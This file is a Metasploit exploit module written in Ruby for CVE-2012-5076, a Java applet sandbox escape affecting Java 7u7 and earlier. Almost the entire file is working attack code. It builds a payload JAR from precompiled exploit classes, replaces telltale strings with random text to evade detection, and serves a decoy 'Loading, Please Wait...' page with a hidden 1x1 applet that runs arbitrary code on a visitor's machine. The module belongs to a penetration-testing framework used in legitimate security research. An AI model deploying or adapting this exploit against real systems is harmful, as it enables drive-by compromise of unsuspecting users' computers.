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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  include Msf::Exploit::EXE
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  #include Msf::Exploit::Remote::BrowserAutopwn
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  #autopwn_info({ :javascript => false })
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  def initialize( info = {} )
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    super( update_info( info,
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      'Name'          => 'Java Applet AverageRangeStatisticImpl Remote Code Execution',
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      'Description'   => %q{
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          This module abuses the AverageRangeStatisticImpl from a Java Applet to run
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        arbitrary Java code outside of the sandbox, a different exploit vector than the one
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        exploited in the wild in November of 2012. The vulnerability affects Java version
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        7u7 and earlier.
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      },
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      'License'       => MSF_LICENSE,
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      'Author'        =>
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        [
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          'Unknown', # Vulnerability discovery at security-explorations
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          'juan vazquez' # Metasploit module
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        ],
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      'References'    =>
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        [
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          [ 'CVE', '2012-5076' ],
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          [ 'OSVDB', '86363' ],
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          [ 'BID', '56054' ],
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          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
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          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-5076' ],
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          [ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]
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        ],
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      'Platform'      => %w{ java linux osx win },
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      'Payload'       => { 'Space' => 20480, 'DisableNops' => true },
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      'Targets'       =>
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        [
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          [ 'Generic (Java Payload)',
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            {
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              'Platform' => ['java'],
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              'Arch' => ARCH_JAVA,
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            }
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          ],
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          [ 'Windows x86 (Native Payload)',
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            {
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              'Platform' => 'win',
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              'Arch' => ARCH_X86,
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            }
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          ],
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          [ 'Mac OS X x86 (Native Payload)',
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            {
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              'Platform' => 'osx',
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              'Arch' => ARCH_X86,
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            }
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          ],
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          [ 'Linux x86 (Native Payload)',
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            {
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              'Platform' => 'linux',
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              'Arch' => ARCH_X86,
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            }
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          ],
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2012-10-16'
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    ))
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  end
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  def setup
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    path = File.join(Msf::Config.data_directory, "exploits", "cve-2012-5076_2", "Exploit.class")
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    @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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    path = File.join(Msf::Config.data_directory, "exploits", "cve-2012-5076_2", "B.class")
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    @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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    @exploit_class_name = rand_text_alpha("Exploit".length)
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    @exploit_class.gsub!("Exploit", @exploit_class_name)
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    super
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  end
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  def on_request_uri(cli, request)
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    print_status("handling request for #{request.uri}")
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    case request.uri
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    when /\.jar$/i
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      jar = payload.encoded_jar
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      jar.add_file("#{@exploit_class_name}.class", @exploit_class)
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      jar.add_file("B.class", @loader_class)
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      metasploit_str = rand_text_alpha("metasploit".length)
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      payload_str = rand_text_alpha("payload".length)
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      jar.entries.each { |entry|
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        entry.name.gsub!("metasploit", metasploit_str)
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        entry.name.gsub!("Payload", payload_str)
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        entry.data = entry.data.gsub("metasploit", metasploit_str)
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        entry.data = entry.data.gsub("Payload", payload_str)
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      }
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      jar.build_manifest
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      send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
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    when /\/$/
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      payload = regenerate_payload(cli)
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      if not payload
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        print_error("Failed to generate the payload.")
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        send_not_found(cli)
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        return
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      end
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      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
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    else
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      send_redirect(cli, get_resource() + '/', '')
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    end
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  end
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  def generate_html
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    html  = %Q|<html><head><title>Loading, Please Wait...</title></head>|
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    html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
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    html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
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    html += %Q|</applet></body></html>|
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    return html
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  end
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end
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